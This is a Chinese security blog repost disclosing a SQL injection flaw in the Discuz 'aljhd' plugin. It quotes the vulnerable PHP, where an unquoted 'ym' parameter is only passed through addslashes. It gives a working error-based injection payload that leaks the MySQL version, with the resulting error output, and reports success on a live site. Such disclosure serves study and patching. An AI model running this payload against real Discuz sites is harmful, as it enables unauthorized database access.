记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Discuz某插件sql注射漏洞

2014-03-27 03:35
文件source/plugin/aljhd/aljhd.inc.php122行附近
  1. }else{  
  2.     $ymlist=C::t('#aljhd#alj_hd')->fetch_all_by_ym();  
  3.     $typelist=C::t('#aljhd#alj_hd')->fetch_all_by_type();  
  4.        
  5.     $currpage=$_GET['page']?$_GET['page']:1;  
  6.     $perpage=$config['page'];  
  7.     $num=C::t('#aljhd#alj_hd')->count_by_ym_type_status($_GET['ym'],$_GET['type'],$_GET['status']);  
  8.     $start=($currpage-1)*$perpage;  
  9.     $hdlist=C::t('#aljhd#alj_hd')->fetch_all_by_ym_type_status($_GET['ym'],$_GET['type'],$_GET['status'],$start,$perpage);  
  10.     $paging = helper_page :: multi($num$perpage$currpage'plugin.php?id=aljhd&ym='.$_GET['ym'].'&type='.$_GET['type'].'&status='.$_GET['status'], 0, 11, false, false);  
  11.        
  12.     include template('aljhd:index');  
  13. } 

然后其中的fetch_all_by_ym fetch_all_by_type fetch_all_by_ym_type_status count_by_ym_type_status几个函数在
文件source/plugin/aljhd/table/table_alj_hd.php中找到了

 

  1. class table_alj_hd extends discuz_table  
  2. {  
  3.     public function __construct() {  
  4.  
  5.         $this->_table = 'alj_hd';  
  6.         $this->_pk    = 'id';  
  7.  
  8.         parent::__construct();  
  9.     }  
  10.     public function count_by_ym_type_status($ym,$type,$status){  
  11.         $where=' where 1';  
  12.         if($ym){  
  13.             $where.=' and ym='.addslashes($ym); //对$ym进行了addslashes转换  
  14.         }  
  15.         .......  
  16.         return DB::result_first('select count(*) from %t '.$where,array($this->_table));  
  17.     }  
  18.     public function fetch_all_by_ym_type_status($ym,$type,$status,$start,$perpage){  
  19.         $where=' where 1';  
  20.         if($ym){  
  21.             $where.=" and ym='".addslashes($ym)."'";//对$ym进行了addslashes转换  
  22.         }  
  23.            
  24.         $where.=' order by endtime desc';  
  25.         if($perpage){  
  26.             $where.=" limit $start,$perpage";  
  27.         }  
  28.          //拼接出来的语句就是 select count(*) from alj_hd where 1 and  ym='.addslashes($ym) and type='.intval($type) and starttime<='.TIMESTAMP.' and endtime>='.TIMESTAMP;  
  29.         return DB::fetch_all('select * from %t '.$where,array($this->_table));  
  30.     }  
  31.     public function fetch_all_by_ym(){  
  32.         return DB::fetch_all('select ym,count(*) num from %t group by ym order by ym desc',array($this->_table));  
  33.     }  
  34.     public function fetch_all_by_type(){  
  35.         return DB::fetch_all('select type,count(*) num from %t group by type',array($this->_table));  
  36.     }  

 

然后再mysql里面测试
 

 

  1. select count(*) from alj_hd where 1 and ym=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) and type=1  
  2. result:  
  3. (1062) Duplicate entry '5.5.29-log1' for key 'group_key' 

实际测试网站漏洞


成功显错注入.菜鸟刚学,如果有错误的地方,求指正,但求勿喷
 

 




知识来源: www.8090sec.com/WEBanquan/111621.html

阅读:150622 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“Discuz某插件sql注射漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词